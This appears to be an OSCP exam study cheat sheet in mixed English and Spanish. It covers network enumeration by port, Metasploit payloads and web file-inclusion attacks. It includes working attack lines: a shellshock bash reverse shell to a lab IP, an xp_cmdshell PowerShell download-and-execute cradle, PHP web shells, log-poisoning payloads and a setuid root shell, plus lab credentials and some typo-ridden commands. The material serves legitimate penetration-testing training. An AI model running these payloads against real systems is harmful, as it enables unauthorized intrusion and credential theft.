OSCP Exam - Guided By RedBlock

Updated 2026-05-14· 93 min read· 3,778 views
Share:

OffSec Certified Professional (OSCP)

OSCP Exam - Guided By RedBlock

Network basics

WIRESHARK


Intro

use libpcap (linux) or winpcap(win) libraries.

capture and display filters

capture: to capture only that

display: to display only what i want

Follow tcp stream

right click and “ follow tcp stream”

TCPDump


  • read:

    tcpdump -r password.pcap

  • filtering:

    tcpdump -n -r password.pcap | awk -F " " '{print $3}' | sort -u | head

  • filtering for src:

    tcpdump -n src host 172.16.40.10 -r password.pcap

  • filtering for host:

    tcpdump -n dst host 172.16.40.10 -r password.pcap

  • filtering for port:

    tcpdum -n port 81 -r password.pcap

  • Dumping in hex:

    tcpdump -nX -r password.pcap

Advance header filtering

we want to display only the data packets which have the psh and ack flags turned on, these are defined in the 14th byte in the tcp header CEUAPRSF -> A and P are ack y push, the binary would be 00011000 which is 24 in decimal.

root@kali: tcpdump -A -n ' tcp[13]=24' -r password.pcap

Listen to your interface

listening for outgoing info

tcpdump -i eth0

Discover active IPs usign ARP on the network:

arp-scan $ip/24

Netcat port Scanning

nc -nvv -w 1 -z $ip 3388-3390

nc -v -z 10.0.3.1 1-65000 > file.txt 2>&1

Discover active IPs usign ARP on the network:

arp-scan $ip/24

Discover who else is on the network

netdiscover

Discover IP Mac and Mac vendors from ARP

netdiscover -r $ip/24

Internal Infrastructure Mapping

ping gateway

nmap -sn -v -PE 192.168.\\*.1

Net discover

netdiscover -i eth0 -r 10.10.10.0/24 -c 20

Metasploit basics

METASPLOIT


setup

root@kali: service postgresql start root@kali: service metasploit start root@kali: msfconsole

auxiliar modules

msf> show auxiliary <-nos muestra lista msf> search snmp ... ... msf> use auxiliary/scanner/snmp/snmp_enum msf auxiliary> info ... ... msf auxiliary> show options msf auxiliary> set RHOST 192.168.58.10-20 msf auxiliary> SET THREADS 10 msf auxiliary> run

smb auxiliary

msf > use /../smb_version msf (smb_version)> show options msf (smb_version)> set RHOST 10.10.0.10-20 msf (smb_version)> set THREADS 10 msf (smb_version)> run

PAYLOADS


stage and non stage payload

stage: send in 2 parts

nonstage: 1 payload to rule them all

STAGE PAYLOAD (meterpreter)

basics

msf exploit(seattlelab)>set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(seattlelab)> show options msf exploit(seattlelab)> exploit .... meterpreter> help ... meterpreter>sysinfo ... meterpreter>getuid ... meterpreter>search ...

uploading a file

meterpreter> upload /usr/share/../nc.exe c:\\\\Users\\\\Offsec

downloading

meterpreter> download c:\\\\Windows\\\\system32\\\\calc.exe /tmp/calc.exe

Shell

meterpreter> shell ... c:\\>

exit

c:\\> exit meterpreter> exit -y msf(saras)> back msf >

Additional payloads

msf> use windows/meterpreter/reverse_https msf payload(revers_https) > info ... msf > use windows/meterpreter/reverse_tcp_allports msf payload(reverse_tcp_allports)> info

Generate a binary payload

msf> msfvenom -l <lista todos los payloads

we chose one ex: windows/meterpreter/reverse_https

msf> msfvenom -p <payload ej reverse> LHOST=<kali> LPORT=<PORT> -f exe --platform windows -a x86 > /var/www/reverse_met_https.exe

multihandler

root@kali: msfconsole msf > use exploit/multi/handler msf exploit> set PAYLOAD windows/meterpreter/reverse_http (mismo que el binario) msf exploit> show options .... msf exploit> set LHOST < ip > msf exploit> set LPORT <port> msf exploit> exploit ... escuchando en 443 ... cuando hagan click meterpreter> :)

Passive reconnaissance

Objetives


  • Identify ips

  • identify external sites

  • Identify users

  • Identify technologies

  • Identify content

  • Identify possible vulns

  • identify subdomains

emails harvesting


tool: theharvester

root@kali: theharvester -d cisco.com -b google > google.txt root@kali: theharvester -d cisco.com -l 10 -b bing > bing.txt

punk.sh


https://blog.hyperiongray.com/introducing-punk-sh/

SiteDigger


http://www.mcafee.com/us/downloads/free-tools/sitedigger.aspx

Shodan.io

Netcraft


PORT SCANNING

nmap


  • vpn necesita full connect scan:

    nmap -sT -p- --min-rate=1000 -vvvvv 10.10.10.116 -T4 -oA nmap-ipsec2

  • quick:

    nmap -O -sV -Pn -oA nmap/host-quick.txt -v -T4 10.10.10.10

  • complete:

    nmap -Pn -p- -oA nmap/full.txt -v -T4 10.10.10.10.

  • correrle script default

    nmap -Pn -p 139 -sC -sV -v -T4 -oA nmap/puerto.txt

    nmap -Pn -p- -sV --script "vuln and safe" -vvv -T4 -oA sarasa 10.10.10.135

  • quick through proxy (no and SYN)

    nmap -O -sT -Pn -oA nmap/host-quick.txt -v -T4 10.10.10.10

ex 00

root@kali:# nmap -v -p 80 --scripts all 192.168.31.210

ex1:

scan cold fusion web server for a directory traversal vulnerability\

nmap -v -p 80 --script=http-vuln-cve2010-2861 --scripts-args vulns.showall 192.168.1.210

ex2:

check for anonymous ftp

nmap -v -p 21 --script=ftp-anon.nse 192.168.1.200-254

ex3:

check smb server

nmap -v -p 139, 445 --script=smb-security-mode 192.168.1.100

ex4:

verify if servers are patched

nmap -v -p 80 --script=http-vuln-cve2011-3192 --scripts-args vulns.showall 192.168.11.205-210

unicorn scan


uniscan -u 10.10.10.10. -qweds

unicornscan -i tap0 -I -mT $IP:a db_nmap -e tap0 -n -v -Pn -sV -sC --version-light -A -p

unicornscan -i tap0 -Iv -mU $IP db_nmap -e tap0 -n -v -Pn -sV -sC --version-light -A -sU -p

netcat


banner grabbing

nc 192.168.1.2 <port>

tcp scan

nc -vvn -z 10.10.10.10 1-9000

udp scan

nc -vvn -u -z 10.10.10.10 1-9000

COMMON PORTS

FTP

21


client

ftp -p 10.10.10.15

  • check if can upload (put)

  • anon logins

  • maybe ftp bounce if needed

  • bruteforce

  • check if version is exploitable(ex ftp-vuln-cve2010-4221.nse,ftp-vsftpd-backdoor.nse)

ftp bounce

We can make an arbritary FTP server port scan another server for us

root@bha:~# nmap -T0 -v -b username:[email protected]:21 victim.tld

SSH

22


hydra bruteforce

`root@kali:~# hydra -s 50220 -L users.txt -P passwords.txt <ip a donde atacar> <protocol>

-l user -s port -L list of user -p password -P list of passwords`

Telnet

23


root@kali:~# telnet <ip> <puerto>

telnet login msf

use auxiliary/scanner/telnet/telnet_login

nmap NSE

telnet-brute.nse telnet-encryption.nse telnet-ntlm-info.nse

DNS

53


whois

root@kali: whois <domain> root@kali: whois <ip>

Dig

root@kali: dig axfr @dns-server domain.name

dig -x 10.10.10.13 @10.10.10.13

nslookup

root@kali: nslookup <domain>

or

`root@kali: nslookup

set type=mx (mail) uocra.org

set type=ns (dns) uocra.org`

Zone transfer

`host -t ns uocra.org
host -l uocra.org  <dns to get the transfer>`

dnsrecon

root@kali:# dnsrecon -d megacorpone.com -t axfr

the harvester

scrapea mails y mucha data

:~#theharvester -d cisco.com -l 500 -b all

Recon-ng

webreconnaissance framework written in python

$ recon-ng <to start $ help < to see help $ show modules $ load modules $ use [module] $ show info $ set source $ run

nmap

  • dns hostname lookup

    `nmap -F --dns-server <dns server ip> <target ip range>``

  • Host Lookup

    host -t ns megacorpone.com `

  • Reverse Lookup Brute Force - find domains in the same range

    for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"

  • Perform DNS IP Lookup

    dig a domain-name-here.com @nameserver

  • Reverse lookup

    dig -x 10.10.10.13 @nameserver

  • Perform MX Record Lookup

    dig mx domain-name-here.com @nameserver

  • Perform Zone Transfer with DIG

    dig axfr domain-name-here.com @nameserver

  • Windows DNS zone transfer

    nslookup -> set type=any -> ls -d blah.com

  • Linux DNS zone transfer

    dig axfr blah.com @ns1.blah.com

  • Dnsrecon DNS Brute Force subdomain

    dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

  • Dnsrecon DNS List of megacorp

    dnsrecon -d megacorpone.com -t axfr

  • DNSEnum

    dnsenum zonetransfer.me

SMB/netbios

tcp: 138,139, 445 udp: 137,138


permite anonymous login

The NetBIOS API and the SMB protocol are generally used together as follows:

  1. An SMB client will use the NetBIOS API to send an SMB command to an SMB server, and to listen for replies from the SMB server.

  2. An SMB server will use the NetBIOS API to listen for SMB commands from SMB clients, and to send replies to the SMB client.

you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP

nmap

root@kali:~# nmap -v -p 139,445 --script smb-vuln-* 192.168.56.101

nbtscan

root@kali nbtscan -r 192.168.11.0/24

enum4linux

root@kali:~# enum4linux -a 192.168.56.101

smbmap

smbmap -H 10.10.10.161 ADMIN$ C$ Data

smbmap -H 10.10.10.16 -R DATA #recursive search smbmap -H 10.10.10.16 -R DATA --download 'Data\\\\Search\\\\archivo.txt'

  • with credentials

    smbmap -u Tempuser -p Welcome123 -H 10.10.10.16 -R DATA

  • enumerating

    smbmap -d active.htb -u SVC_TGS -p GPPsaras2012 -H 10.10.10.100

smbclient

smbclient \\\\\\\\$ip\\\\$share -I target -N smbclient -N -L 192.168.168.168 - lists smb type (often displaying samba version) and various shares

mount

smbclient \\\\\\\\secnotes.htb\\\\new-site -U anonymous smb: \\> RECURSE ON smb: \\> PROMPT OFF smb: \\> mget *

rpcclient

rpcclient -U "" target

Mount shares

mount -t cifs -o user=USERNAME,sec=ntlm,dir_mode=0077 "//10.10.10.10/My Share" /mnt/cifs

mount shares 2

sudo apt-get install cifs-utils mkdir /mnt/Replication mount -t cifs //10.10.10.100/Replication /mnt/Replication -o username=<username>,password=<password>,domain=active.htb grep -R password /mnt/Replication/

nmblookup

nmblookup is used to query NetBIOS names and map them to IP addresses in a network using NetBIOS over TCP/IP queries

nmblookup -A target

accesschk

accesschk -v -t (target IP) -u user -P /usr/share/dirb/wordlists/common.txt - attempts to connect to $IPC or $ADMIN shares

shell when we have the credentials

`root@kali:# psexec.py secnotes/administrator:@secnotes.htb Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Password:`

shell 2 when i have credentials

winexe -U Administrator //10.0.0.0 "cmd.exe"

If SMB is up locally but the port is closed externally, then try a remote port forward back to your attacking machine:

plink.exe -l sshproxy -pw sshproxy -R 445:127.0.0.1:445 10.10.10.10 winexe -U Administrator //127.0.0.1 "cmd.exe"

SNMP

UDP 161 169


snmp parameters

1.3.6.1.2.1.25.1.6.0 System Processes 1.3.6.1.2.1.25.4.2.1.2 Runng Programs 1.3.6.1.2.1.25.4.2.1.4 Processes Path 1.3.6.1.2.1.25.2.3.1.4 Storage Units 1.3.6.1.2.1.25.6.3.1.2 Softwre Name 1.3.6.1.4.1.77.1.2.25 User Accounts 1.3.6.1.2.1.6.13.1.3 TCP Local Ports

MIB TREE

snmp management information base (mib) is a database containing information usually related to network management.

scaning for snmp

nmap -sU --open -p 161 192.168.45.101-190 -oG mega-snmp.txt

onesixtyone

root:kali echo public > comunity root:kali echo private >> comunity root:kali echo manager >> comunity root:kali for ip in $(seq 200 254); do echo 192.168.56.$ip;done > ips root:kali onexityone -c comunity -i ips

snmp enumeration

snmpwalk -c public -v1 <ip>

enumeration windows users

snmpwalk -c public -v1 192.168.56.101 1.3.6.1.4.1.77.1.2.25

runin process

snmpwalk -c public -v1 192.168.56.101 1.3.6.1.2.1.25.4.2.1.2

open tcp ports

snmpwalk -c public -v1 192.168.56.101 1.3.6.1.2.1.6.13.1.3

proceses

snmpwalk -c public -v1 192.168.56.101 1.3.6.1.2.1.25.4.2.1.2

snmpget -v 1 -c public IP snmpwalk -v 1 -c public IP snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP

ipv6

Most importantly, an IPv6 address is exposed at MiB iso.3.6.1.2.1.4.34.1.5.2.16 .

TFTP

UDP 69


  • idem FTP

Email

25/587, 110/995 , 143/993


SMTP, POP3(s) and IMAP(s) are good for enumerating users.

Also: CHECK VERSIONS and searchsploit

1. SMTP

smtp soporta comandos como VRFY y EXPN

vrfy request ask the server to verify an email addres.

EXPN ask the server fot the membership of a mailing list.

ex

nv -nv 192.168.11.215 25 VRFY root

smtp-user-enum

smtp-user-enum -M VRFY -U users.txt -t 10.0.0.1 smtp-user-enum -M EXPN -u admin1 -t 10.0.0.1 smtp-user-enum -M RCPT -U users.txt -T mail-server-ips.txt smtp-user-enum -M EXPN -D example.com -U users.txt -t 10.0.0.1

sending an email

`HELO my.server.com MAIL FROM: [email protected] RCPT TO: [email protected] DATA From: Danny Dolittle To: Sarah Smith Subject: Email sample Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii

This is a test email for you to read. . QUIT`

Open relay

use auxiliary/scanner/smtp/smtp_relay services -p 25 -u -R

or nmap

nmap -iL email_servers -v --script=smtp-open-relay -p 25

NSE

smtp-brute.nse smtp-commands.nse smtp-enum-users.nse smtp-ntlm-info.nse smtp-open-relay.nse smtp-strangeport.nse smtp-vuln-cve2010-4344.nse smtp-vuln-cve2011-1720.nse smtp-vuln-cve2011-1764.nse

commands

ATRN Authenticated TURN AUTH Authentication BDAT Binary data BURL Remote content DATA The actual email message to be sent. This command is terminated with a line that contains only a . EHLO Extended HELO ETRN Extended turn EXPN Expand HELO Identify yourself to the SMTP server. HELP Show available commands MAIL Send mail from email account MAIL FROM: [email protected] NOOP No-op. Keeps you connection open. ONEX One message transaction only QUIT End session RCPT Send email to recipient RCPT TO: [email protected] RSET Reset SAML Send and mail SEND Send SOML Send or mail STARTTLS SUBMITTER SMTP responsible submitter TURN Turn VERB Verbose VRFY Verify

2 POP

nse

pop3-brute.nse pop3-capabilities.nse pop3-ntlm-info.nse

comands

USER Your user name for this mail server PASS Your password. QUIT End your session. STAT Number and total size of all messages LIST Message# and size of message RETR message# Retrieve selected message DELE message# Delete selected message NOOP No-op. Keeps you connection open. RSET Reset the mailbox. Undelete deleted messages.

RPC/NFS y nfs

111 135 593 , 2049


protocolo para sistemas de archivos distribuidos

scan

showmount -e someexample.com

rpcinfo 111

installation

`apt-get install rpcbind

apt-get install nfs-common`

rpcinfo -p IP_Address

rpcdump

by impacket

rpcdump.py 10.10.xx.xx

nmap

nmap -Pn -sV -script=nfs*

mount the nfs

mount -o nolock <ip>:/path_remote /path/local

$ mkdir backup $ mount -o ro,noexec someexample.com:/backup backup $ ls backup backup.tar.bz2.zip

$ mount -t nfs someexample.com:/backup backup

vulnerabilidad

chequear “/etc/exports” si tiene no_root_squash o no_all_squash y tenemos permisos de escritura se puede crear un ejecutable con setuid ej:

int main(void) { setgid(0); setuid(0); execl(“/bin/sh”,”sh”,0); }

chown root.root ./pwnme chmod u+s ./pwnme

nfshell

  • install https://github.com/NetDirect/nfsshell

    root@kali:~/Downloads/nfsshell-master# apt-get install libreadline-dev libncurses5-dev root@kali:~/Downloads/nfsshell-master# make

  • use

    root@kali:~# nfsshell nfs> host 10.10.10.34 nfs> export nfs> mount /loquefuere

    memcached

    11211


    memcached is a general-purpose distributed memory caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read.

    nmap nse

    memcached-info

    ident

    113


    it gives you usernames that are connected to a tcp port. https://en.wikipedia.org/wiki/Ident_protocol

    nmap

    auth-owners.nse

    ipsec/IKE vpn isakmp

    UDP 500


    IPsec is the most commonly used technology for both gateway-to-gateway (LAN-to-LAN) and host to gateway (remote access) enterprise VPN solutions.

    IKE is a type of ISAKMP (Internet Security Association Key Management Protocol) implementation, which is a framework for authentication and key exchange. IKE establishes the security association (SA) between two endpoints through a three-phase process:

    • Phase 1: Establish a secure channel between 2 endpoints using a Pre-Shared Key (PSK) or certificates. It can use main mode (3 pairs of messages) or aggresive mode messages).

    • Phase1.5: This is optional, is called Extended Authentication Phase and authenticates the user that is trying to connect (user+password).

    • Phase2: Negotiates the parameter for the data security using ESP and AH. It can use a different algorithm than the one used in phase 1 (Perfect Forward Secrecy (PFS)).

    1 find valid info

    ike-scan 10.10.10.116

    • 0 returned handshake; 0 returned notify: This means the target is not an IPsec gateway.

    • 1 returned handshake; 0 returned notify: This means the target is configured for IPsec and is willing to perform IKE negotiation, and either one or more of the transforms you proposed are acceptable (a valid transform will be shown in the output)

    • 0 returned handshake; 1 returned notify: VPN gateways respond with a notify message when none of the transforms are acceptable (though some gateways do not, in which case further analysis and a revised proposal should be tried).

    2 bruteforce

    if you dont get a valid transformation you can try to bruteforce it

    ./ikeforce.py -s1 -a <IP> #-s1 for max speed

    3 server(vendor) fingerprint

    ike-scan -M --showbackoff 10.10.10.116

    4 bruteforce id with ike-scan

    if running the above no hash is returned, bruteforce is probably goingn to work

    ike-scan -P -M -A -n fakeID 10.10.10.116

    If some hash is returned, this means that a fake hash is going to be sent back fora fake ID, so this method won’t be reliable to brute-force the ID.

    to bruteforce:

    python ikeforce.py 10.10.10.116 -e -w /usr/share/wordlists/seclists/Miscellaneous/ike-groupid.txt

    5 connecting

    strongswan

    vpn stuff for linux

    • /etc/ipsec.conf

      conn Conceal type=transport keyexchange=ikev1 right=10.10.10.116 authby=psk rightprotoport=tcp leftprotoport=tcp esp=3des-sha1 ike=3des-sha1-modp1024 auto=start

    • /etc/ipsec.secrets

      10.10.10.116 : PSK "Dudecake1!"

    • stop

      ipsec stop

    • start

      ipsec start --nofork

    MS-SQL

    1433


    impacket

    mssqlclient.py -windows-auth [email protected] SQL>

    shell

    `SQL> enable_xp_cmdshell SQL> xp_cmdshell whoami

    querier\mssql-svc`

    sqsh

    sqsh -S mssql -D MyDB -U DOMAIN\\\\testuser -P MyTestingClearPassword1

    mssql commands

    select IS_SRVROLEMEMBER ( 'sysadmin' ) # check permisions

    responder

    steal hashes of the SQL service account by using xp_dirtree or xp_fileexist.

    • en kali:

      responder -I tun0 -rv

    • en windows

      SQL>exec xp_dirtree '\\\\10.10.14.6\\share\\file' SQL>exec xp_fileexist '\\\\10.10.16.2\\share\\file'

    mssql reverse shell

    SQL> xp_cmdshell powershell iex(new-object net.webclient).downloadstring(\\"<http://10.10.14.6/Invoke-PowerShellTcp.ps1\\>")

    nmap nse

    ms-sql-brute.nse ms-sql-config.nse ms-sql-dac.nse ms-sql-dump-hashes.nse ms-sql-empty-password.nse ms-sql-hasdbaccess.nse ms-sql-info.nse ms-sql-ntlm-info.nse ms-sql-query.nse ms-sql-tables.nse ms-sql-xp-cmdshell.nse

    MongoDB

    27017 27018


    nmap nse

    mongodb-brute.nse mongodb-databases.nse mongodb-info.nse

    ver web para sqli

    ISCSI

    3260


    nmap nse

    iscsi-info.nse

    iscsiadm

    iscsiadm -m discovery -t sendtargets -p 10.10.10.12

    SAP ROUTER

    3299


    TODO

    MySQL

    3306


    shell

    If we have MYSQL Shell via sqlmap or phpmyadmin, we can use mysql outfile/ dumpfile function to upload a shell.

    `echo -n "<?php phpinfo(); ?>" | xxd -ps 3c3f70687020706870696e666f28293b203f3e

    select 0x3c3f70687020706870696e666f28293b203f3e into outfile "/var/www/html/blogblog/wp-content/uploads/phpinfo.php"`

    or

    SELECT "<?php passthru($_GET['cmd']); ?>" into dumpfile '/var/www/html/shell.php';

    tips

    select sys_exec('/bin/bash'); bash -p or sudo su

    sqsh:

    sqsh program: apt-get install sqsh freetds-bin freetds-common freetds-dev usage: add to the bottom of freetds.conf: [hostname] host = 192.168.168.169 port = 2600 tds version = 8.0 edit ~/.sqshrc: \\set username=sa \\set password=password \\set style=vert connect: sqsh -S hostname

    sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

    file inclusion

    If you have sql-shell from sqlmap/ phpmyadmin, we can read files by using the load_file function.

    select load_file('/etc/passwd');

    nmap nse

    mysql-audit.nse mysql-brute.nse mysql-databases.nse mysql-dump-hashes.nse mysql-empty-password.nse mysql-enum.nse mysql-info.nse mysql-query.nse mysql-users.nse mysql-variables.nse mysql-vuln-cve2012-2122.nse

    LDAP (application layer)

    389


    Lightweight Directory Access Protocol, gestiona el acceso a un servicio de directorios

    nmap nse

    ldap-rootdse.nse ldap-search.nse ldap-brute.nse

    ldapsearch

    ldapsearch -h 10.10.xx.xx -p 389 -x -s base -b '' "(objectClass=*)" "*" + -h ldap server -p port of ldap -x simple authentication -b search base -s scope is defined as base

    • ex2

      ldapsearch -x -h 10.10.10.100 -p 389 -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1. 4.803:=2)))" samaccountname | grep sAMAccountName

    EthernetIP

    44818


    Es un protocolo industrial que adapta el protocolo cip para automatizaacion de dispositivos industriales.

    nmap nse

    enip-enumerate.nse

    defaults

      `MicroLogix 1100: Default Username:password is administrator:ml1100
      MicroLogix 1400: Default Username:password is administrator:ml1400 User manual is MicroLogix 1400 guest:guest is another default password.`
    

    BACNet

    UDP 47808


    BACnet is a communications protocol for Building Automation and Control (BAC) network

    nmap nse

    BACnet-discover-enumerate.nse

    Rcomands berkley

    512 513 514


    Serie de programas para mandar comandos y loguearse a sistemas unix desde otra computadora por tcp. todo en texto plano

    rlogin

    use auxiliary/scanner/rservices/rlogin_login services -p 513 -u -R

    rsh

    use auxiliary/scanner/rservices/rsh_login services -p 514 -u -R

    rexec

    auxiliary/scanner/rservices/rexec_login services -p 512 -u -R

    PostgreSQL

    5432


    nmap nse

    pgsql-brute.nse

    Apple Filing Protocol-appletalk (presentation layer)

    548


    Protocolo para intercambio de archivos y recursos en macos

    nmap

    afp-brute.nse afp-ls.nse afp-path-vuln.nse afp-serverinfo.nse afp-showmount.nse

    RTSP

    554


    Real Time Streaming Protocol, se usa para controlar sesiones multimedia (play, stop, pause,etc)

    ej client: curl, vlc,skype,spotify,youtube

    nmap

    $ nmap -p 8554 --script rtsp-methods 10.10.xx.xx -sV

    $ rtsp-url-brute.nse

    Cameradar

    An RTSP surveillance camera access multitool

    HPDataProtectorRCE

    5555


    TODO

    VNC

    5900


    vnc password

    `echo MYVNCPASSWORD | vncpasswd -f > ~/.secret/passvnc Warning: password truncated to the length of 8.

    cat ~/.secret/passvnc kRS�ۭx8`

    vncviewer hostname-of-vnc-server -passwd ~/.secret/passvnc

    X11

    6000


    xspy

    xspy 10.9.xx.xx

    xdpyinfo

    xdpyinfo -display <ip>:<display>

    xwd

    screenshot

    xwd -root -display 10.20.xx.xx:0 -out xdump.xdump

    XWatchwin

    live view

    ./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo ./xwatchwin 10.9.xx.xx:0 -w 0x45

    Redis

    6379


    TODO

    Finger

    79


    la aplicacion finger es como who. el protocolo te deja ver datos de usuarios

    root@kali:~# finger root 10.10.10.15

    podemos bruteforcear el rlogin de 79

    hydra -L rlogin-users.txt -P rockyou.txt rlogin://osiris.acme.com

    o incluso antes armar una lista

    for i in $(cat /usr/share/wordlists/fuzzdb/wordlists-user-passwd/names/namelist.txt) ;do finger $i 10.10.10.76 >> finger-bruteforce.out;done

    NSE

    finger.nse

    SIP

    ##5060 —

    Sipvicious

    SIP VoIP phones info

    svmap 10.10.10.7

    svwar -m INVITE -e100-300 10.10.10.7 EXTENSION 233 PROBABLY EXIST

    Elastix Exploit needs the extension. https://www.exploit-db.com/exploits/18650/

    `beep privesc after elastix exploit

    sudo nmap --interactive !sh`

    rsync

    873


    if the remote host runs an rsync daemon, rsync clients can connect by opening a socket on TCP port 873

    nmap nse

    rsync-list-modules.nse

    Kerberos

    88


    Kerberos is a client server authentication protocol used by Windows Active Directory which provides mutual authentication to all partie

    NSE

    krb5-enum-users.nse

    TODO

    PJL

    9100


    nmap nse

    pjl-ready-message.nse

    Apache Cassandra

    9160


    nmap nse

    cassandra-info.nse cassandra-brute.nse

    Multicast DNS (mDNS)

    UDP 5353


    ndmp

    10000 Network Data Management Protocol


    NDMP, or Network Data Management Protocol, is a protocol meant to transport data between network attached storage (NAS)

    nmap

    ndmp-fs-info.nse ndmp-version

Web methodology

1. fingerprinting

2. fuzzing

3. html analyzis

4. check

  • what webserver?

  • what backend?

  • what methods can use?

  • any link or hints in html source?

  • any admin panel?

  • default credentials?

  • hostname change anything?

1 Finerprinting


nikto

nikto -C all -h <http://IP>

nikto -h $host -p $puerto

httprint

httprint -h www1.example.com -s signatures.txt

whatweb

whatweb <http://nop.sh>

WAFW00F

allows one to identify and fingerprint Web Application Firewall (WAF) products protecting a website.

https://github.com/EnableSecurity/wafw00f

nc 192.168.0.10 80 GET / HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/4.0 Referrer: www.example.com <enter> <enter>

2. Fuzzing


DirB

dirb <http://IP>:PORT /usr/share/dirb/wordlists/common.txt

ffuf

ffuf -u <http://10.10.10.171/FUZZ> -w /usr/share/wordlists/dirb/common.txt -mc 200,204,301,302,307,401 -o results.txt

GoBuster

gobuster dir -f -r -k --wordlist /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.10.56:80

gobuster dir -f -r -k --wordlist /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x .php,.html -u <http://10.10.10.56:80/cgi-bin/>

wfuzz

  • fuzz - /usr/share/wfuzz/wordlist/

Lists

  • SecList - /usr/share/seclists/

  • DirB - /usr/share/dirb/wordlists/

  • fuzz - /usr/share/wfuzz/wordlist/

3. html analysis


linkfinder

busca links en .js files

html2text

html -> texto leible

cewl

cewl <http://192.168.168.168/index.html> -m 2 -w cewl.lst

VARIOS


shellshock

vuln en apache con mod_cgi, le apendeas gilada a bash podes tener en otras cosas que no sean apache tipo webmin

Apache

  1. encontrar /cgi-bin/

  2. encontrar el archivo ahi

  3. curl -H “X-Frame-Options: () { :;};echo;echo gato” 10.10.10.56/cgi-bin/user.sh webmin reverse shellshock shell

    User-Agent: () {:;}; bash -i >& /dev/tcp/10.10.15.1/1337 0>&1

Heartbleed

TODO

download web with httrack

httrack partidopirata.com.ar

WEBDAV

davtest

davtest –url http://(target IP) – will display what is executable

cadaver

cadaver http://(target IP), then run “ls” to list directories found

Local and Remote file inclusion

1 Local File inclusion


  • linux:

      `https://insecure-website.com/loadImage?filename=../../../etc/passwd`
    
  • windows

    http://target.com/?page=c:\\windows\\system32\\drivers\\etc\\hosts <http://webserver>:ip/index.html?../../../../../boot.ini

Log Poisoning

  • web log poisoning

    nc 10.10.10.14 80 <?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>'; ?>

  • linux

    curl <http://10.10.0.1/addguestbook.php?name=Test&comment=Which+lang%3F&cmd=ipconfig&LANG=../../../../../../../xampp/apache/logs/access.log%00&Submit=Submit>

  • windows

    curl <http://10.10.10.14/menu.php?file=c:\\xamp\\apache\\logs\\access.log&cmd=ls>

SSH log posioning

http://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/

Mail log

LFI /var/mail/

`telnet <IP> 25
EHLO <random character>

VRFY <user>@localhost

mail from:[email protected]
rcpt to: <user>@localhost
data

Subject: title

<?php echo system($_REQUEST[cmd]); ?>

<end with .>`

2 Remote File Inclusion


requires allow_url_fopen=On and allow_url_include=On

$incfile = $_REQUEST["file"]; include($incfile.".php");

  • original

    http://10.10.0.1/addguestbook.php?name=Test&comment=Which+lang%3F&LANG=FR&Submit=Submit

  • modificado

    http://10.10.0.1/addguestbook.php?name=Test&comment=Which+lang%3F&LANG=http://10.10.10.10./evil.php&Submit=Submit

seguro nos tira un problema tratando de ejecutar evil.txt.php, asi que podemos usar un nullbyte para que no appenda el .php

10.10.0.1/addguestbook.php?name=Test&comment=Which+lang%3F&LANG=http://10.10.10.10./evil.php%00&Submit=Submit

web shell rfi

cat shell.php <?=$_GET[0]?>

http://10.10.10.151/blog/?lang=//10.10.14.23/Public/shell.php&0=dir

3 Common obstacules


  • just the path

      `filename=/etc/passwd`
    
  • stripped non recursive

    filename=....//....//....//etc/passwd

  • encoding

    filename=..%252f..%252f..%252fetc/passwd

  • validation of start path

    filename=/var/www/images/../../../etc/passwd

  • add nullbyte

    filename=..%252f..%252f..%252fetc/passwd%00

4 common LFI to RCE


1. Using file upload forms/functions

upload a shell, then

http://example.com/index.php?page=path/to/uploaded/file.php

2. Using the PHP wrapper expect://command

if the app use an include:

<?php include $_GET['page']; ?>

http://target.com/index.php?page=expect://whoami

3. Using php wrapper file://

http://localhost/include.php?page=file:///path/to/file.ext

4. Using the PHP wrapper php://filter

http://localhost/include.php?page=php://filter/convert.base64-encode/resource=secret.inc <http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc> <http://localhost/include.php?page=php://filter/resource=/etc/passwd>

5. Using PHP input:// stream

POST

/fi/?page=php://input&cmd=ls

6. Using data://text/plain;base64,command

data://text/plain;base64,[command encoded in base64] or data://text/plain,<?php shell_exec($_GET['cmd']);?>

ex:

http://example.com/Keeper.php?page=data://text/plain;base64,JTNDJTNGc3lzdGVtJTI4JTI3aWQlMjclMjklM0IlM0YlM0U= http://example.com/Keeper.php?page=data://text/plain,<?system('id');?>

7. Using /proc/self/environ

Another popular technique is to manipulate the Process Environ file. In a nutshell, when a process is created and has an open file handler then a file descriptor will point to that requested file.

Our main target is to inject the /proc/self/environ file from the HTTP Header: User-Agent. This file hosts the initial environment of the Apache process. Thus, the environmental variable User-Agent is likely to appear there.

curl <http://secureapplication.example/index.php?view=../../../proc/self/environ>

response:

HTTP_USER_AGENT="curl/" </body>

so we can inject shit like a webshell

`curl -H "User-Agent: <?php system('wget http://10.10.14.6/webshell.php -O webshell.php')" http://target.com

curl http://target.com/webshell.php&cmd=ls`

8. Using /proc/self/fd

brute force the fd until you see “referer” /proc/self/fd/{number} then

curl -H "Referer: <?php phpinfo(); ?>" <http://target.com>

9. Using zip

Upload a ZIP file containing a PHP shell compressed and access:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

10. Using log files with controllable input like:

. /var/log/apache/access.log . /var/log/apache/error.log . /var/log/vsftpd.log . /var/log/sshd.log . /var/log/mail

5 Common files location


https://wiki.apache.org/httpd/DistrosDefaultLayout

Common log file location

Ubuntu, Debian

/var/log/apache2/error.log /var/log/apache2/access.log

Red Hat, CentOS, Fedora, OEL, RHEL

